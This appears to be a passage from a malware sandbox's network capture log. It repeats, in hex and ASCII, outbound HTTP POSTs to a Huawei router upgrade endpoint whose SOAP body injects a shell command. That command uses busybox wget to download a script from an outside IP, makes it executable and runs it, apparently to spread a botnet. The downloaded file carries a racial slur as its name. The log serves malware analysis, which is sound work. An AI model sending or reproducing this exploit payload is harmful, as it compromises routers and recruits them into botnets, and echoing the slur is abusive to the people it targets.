2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.826637983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.034516096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642518044 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.602169991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521660089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:56.384608030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.15	40088	31.136.39.20	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.147450924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.706593037 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.826646090 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 